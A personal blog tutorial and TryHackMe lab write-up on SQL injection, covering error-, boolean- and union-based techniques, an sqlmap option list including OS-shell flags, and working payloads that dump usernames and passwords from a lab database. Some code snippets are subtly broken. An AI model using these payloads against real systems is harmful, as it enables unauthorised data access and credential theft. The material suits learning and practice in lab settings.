SQL Injection

13th January 2022
| No Comments

Introduction

Welcome to another post in which I will be doing something a bit different. Today, I won’t be going through a room on TryHackMe (this is a half-lie) and instead I will be talking about a topic of my choosing (refer to the title) and delving into it so I can improve my knowledge on the subject as well as possibly helping out anyone who is curious about this topic and also happens upon this particular post.

Let’s begin by defining SQL injection.

SQL injection is a form of code injection that is caused when a user can insert their own code into a vulnerable entry field that interacts with a database. In this case, we will be dealing specifically with MySQL databases.

Database Architecture

  • SQL database – This is what we refer to as the “database”. It’s the main database that, inside of it, may contain several smaller databases.
  • Databases – In the main database, there may be multiple databases, each with their own designated name. Inside of them, there are tables.
  • Tables – There may be multiple tables in a database. A table is made up of rows and columns.
  • Rows/Columns – These rows and columns house the data. This is where usernames and passwords can be stored as well as other sensitive information.

SQL Language

In order to understand how SQL injection works, we must first understand the underlying language on which a MySQL database is built upon. Good news for us because it is quite simple!

Here’s an example command that illustrates how easy it is to read and understand SQL.

SELECT * FROM colours;

This dumps everything in the colours database.

The SELECT statement in SQL is our bread and butter. This is the statement that says “let’s get information from here”. But from where? Well, that’s where the FROM statement comes in. Let’s take a look at the command again.

If you are familiar with programming languages or using the terminal or have some idea of regular expressions, you may have seen the wildcard symbol (*) before. This symbol represents 0 or more of any character. In other words, everything.

In this example, we are saying “Select everything in the colours database”.

Awesome, now we know that MySQL is simple enough, let’s take a look at how we can find an SQL injection vulnerability.

Proof of Concept

MySQL is the most popular database system used with PHP. PHP is the front-end language that can be used to communicate with the MySQL database system.

Let’s take a look at some PHP code for a login form.

$query = "SELECT * FROM users WHERE username='" + $_POST["user"] + "' AND password= '" + $_POST["password"]$ + '";"

Let’s break this down.

We have a query variable that finds the information in the users database and takes in the user and password parameters given by the user.

It is logical from the standpoint of trying to be efficient and therefore creating dynamic SQL queries however that is clearly poor security practice and simply allows the user to input some SQL code instead of their username or password and have that be a legitimate part of the request to the database.

We can test whether an input field is vulnerable to SQL injection, simply by inputting a quotation mark (') which should result in a server error. Why? Well, if we look at the PHP code from earlier, it will read our username and password as ''' which is the equivalent of opening and closing quotations and then opening and not closing one. If the PHP code is indeed vulnerable to injection, this will cause a server error (more about this in the Error-Based SQLi section) because leaving an unclosed quotation mark is just incorrect syntax.

Let’s now take a look at the methodology behind the three main types of SQLi (SQL injection):

  • Error-Based SQLi
  • Boolean-Based SQLi
  • Union-Based SQLi

SQL Injection Types

Error-Based SQLi

This type of SQL injection, relies on error messages which leak sensitive information regarding the database.

The methodology for this type of SQLi is as follows:

  • In a vulnerable entry field, insert a quotation mark (').
  • Break out of current SQL query to write your own SQL code.

E.g. ?exampleID=1' AND 1=1 --+

What we want to focus on is the ' AND 1=1 --+ and understand what it is doing.

The ' breaks out of the exampleID query, AND creates another one where we can write our own SQL code, 1=1 means True (this doesn’t matter too much at the moment), --+ fixes the query. This basically comments out everything after the AND 1=1 and establishes it as legitimate SQL code.

Boolean-Based SQLi (Blind)

Boolean-based SQLi relies on sending an SQL query to the vulnerable database which forces the application to return one of two different results (TRUE or FALSE). This type of SQL injection can be considered blind as we are not getting an explicit answer from the database rather we’re guiding it to give us a binary response.

The methodology for this type of SQLi is as follows:

  • We start fuzzing with extreme characters (different data types, large amounts of data, high numbers, negative numbers, etc) to see if we can get different results (True/False).
  • Fix query with --+
  • Compare with SUBSTR() function.

The SUBSTR() function is incredibly useful for enumerating MySQL databases. It parses a string and you can set from where to where. Below is the syntax for the function.

SUBSTR("Strange Fox", 5, 3) – (“String”, character to start off with, how many characters to parse)

The following is what a potential use of the SUBSTR() function could look like.

AND (SUBSTR((select database()),1,1)) = s

This returns True if the name of the database begins with an s. This turns into a trial-and-error game very quickly.

Union-Based SQLi

This type of injection uses the UNION operator to combine two or more SELECT statements into a single result.

Example:

SELECT 1, 2 FROM usernames UNION SELECT 1, 2 FROM passwords

This bit of SQL code retrieves information from the first two users in the usernames and passwords table.

Below is the methodology for union-based SQLi:

  • Determine number of columns you can retrieve.

1)

ORDER BY 1--

ORDER BY 2--

ORDER BY 3--

And so on until you get an error.

OR

2)

UNION SELECT NULL--

UNION SELECT NULL,NULL--

UNION SELECT NULL,NULL,NULL--

And so on until you get an error.

  • Finding columns with useful data type.

UNION SELECT 'a',NULL,NULL,NULL--

UNION SELECT NULL,'a',NULL,NULL--

UNION SELECT NULL,NULL,'a',NULL--

UNION SELECT NULL,NULL,NULL,'a'--

  • Attack and get interesting data. (Refer back to the SUBSTR() function in the boolean-based SQLi section)

SQLmap (automated)

This section is solely a manual of sorts for the very well-known SQLi tool “SQLmap”. It saves A LOT of time but I implore you not to use it until you really understand how SQL injection works.

sqlmap

Settings

  • -u "URL" Set URL.
  • --dbms MYSQL... Provide database type.
  • --level=LEVEL(1-5) --risk=RISK(1-3 Level and risk of tests.

Enumeration

  • --dump or --dump-all Dump DBMS database.
  • --dbs Lists all databases.
  • --passwords Enumerate DBMS users password hashes.
  • --all Retrieve everything.

OS Interaction

  • --os-shell Prompt for an OS shell.
  • --os-pwn Prompt for some other type of shell (Meterpreter or VNC).

Additional

  • --batch Default behaviour, never ask for user input.
  • --wizard A wizard for beginner users.

Practical

Here’s the fun bit. We will be using the SQL Injection Lab room on TryHackMe as a practical application of what I’ve discussed in this post.

TryHackMe room: https://tryhackme.com/room/sqlibasics

Let’s begin:

Error-Based SQLi

So we begin with the first SQL practice question. We are at index.php here and are being prompted to input a search query called id with a numeric value.

http://10.10.14.244/sqli-labs/Less-1/index.php

So let’s do that and see what we get back.

http://10.10.14.244/sqli-labs/Less-1/index.php?id=1

We get a username and a password returned to us. So we know we’re dealing with a database of some sort (and since this is a .php file, we can assume that MySQL is the database being used in this example.) Let’s now try to input our own SQL code into the id search query and see if our input is being sanitised.

10.10.14.244/sqli-labs/Less-1/index.php?id=

And there we go! We get an error message. This explicitly proves that there is an SQLi vulnerability present and provides us with some additional information that may make enumerating this database easier.

This example is to prove that this id parameter is vulnerable to SQL injection. An error message can prove it and in this case even tells us the DBMS (Database Management System).

Let’s now take a closer look at what we can do with this information it has given us.

syntax to use near ''1' LIMIT 0,1' at line 1

It’s returning an error but we want to be able to retrieve that same information from before but also input some SQL code of our own. For this, we do something called “fixing the query”. As we can see from the error message, it gets confused since we’ve now put an extra quotation mark.

We can ask again for the same information as last time but now we add some extra code.

10.10.14.244/sqli-labs/Less-1/index.php?id=1' AND 1=1 --+

This has already been explained in the theory section of Error-Based SQLi but I will repeat the explanation again in the context of this task.

The id=1' breaks out of the id query since we have closed it with the quotation mark. The AND 1=1 is just some example code which keeps the nature of the query the same (True). The final bit is the important part. --+ is the SQL code that we use to “fix the query”. It basically comments out everything after our SQL code so that it doesn’t interfere with anything and we avoid getting any errors.

Here’s a neat diagram which explains it probably far better than I have.

Boolean-Based SQLi

Now we move onto boolean-based SQLi. Let’s head to the task at this URL.

10.10.14.244/sqli-labs/Less-8/

We are greeted with a similar page as from before but this time we are not prompted to target a search query. Let’s assume that it’s the same as in the last exercise and we are exploiting a vulnerable id search parameter.

10.10.14.244/sqli-labs/Less-8/?id=1

We get a response! We can treat this response as True. Let’s try to break the SQL query like before with the apostrophe.

10.10.14.244/sqli-labs/Less-8/?id=1'

And we get a different response. This proves that the id search query is vulnerable to SQLi!

10.10.14.244/sqli-labs/Less-8/?id=1' --+

We fix the query like so so we can start injecting our own SQL code.

10.10.14.244/sqli-labs/Less-8/?id=1' OR 1 --+

And we have now established proof of concept (the code here is just an example).

The following are examples of how we can shift the page that is returned to us (True or False) with our own SQL code.

10.10.14.244/sqli-labs/Less-8/?id=1' OR 1 < 2 --+ = True

10.10.14.244/sqli-labs/Less-8/?id=1' OR 1 > 2 --+ = False

I mentioned the SUBSTR() function in the theory section of boolean-based SQLi and how it works. The following payload can be used to begin enumeration of the database in this question.

1' substr((select database()),1,1)) = s --+

Union-Based SQLi

Now we move onto the last of these SQL injection types. In this task, we fill in a form and submit it.

Note here that I’ve placed a quotation mark at the end of my description (it’s true, what can I say?).

And this spouts out an explicit message telling us that our SQL syntax is incorrect (and that this information is being stored in a MySQL database).

That was easy enough! Now to dump some information. Since we are working with a union-based SQLi, we must first figure out how many columns there are in this table.

' UNION SELECT NULL --\

We keep adding more NULLs until we hit an error. (There’s an error at the 6th so we know that there are 5 columns).

Note: The room creator put a filter for -- so we need to append \ in order to bypass the filter.

Next, we check to see which column accepts string data.

' UNION SELECT 'a',NULL,NULL,NULL,NULL

Every column accepts strings!

Next we can use the SUBSTR() function that we learnt about in the boolean-based SQLi section to enumerate the names of the columns. Our final payload looks like this.

' UNION SELECT null, id, username, password, fname FROM users -- //

Excellent! We have reached the end of the practical section.

SQL Glossary

This is a list of SQL commands/functions that may come in handy when performing manual SQLi.

  • database()
  • user()
  • @@version
  • username
  • password
  • table_name
  • column_name

Additional Info

Tools

Conclusion

This concludes this post. WOW this took a while but mostly due to me procrastinating. I may add to this when I do more SQL injection and treat it as a sort of personal manual for this topic.

I hope you enjoyed reading this and perhaps found it useful! I have some fun projects in mind at the moment so we’ll see what the next post brings. Until then, I hope you have a wonderful rest of your day and take care. 🙂

Pentesting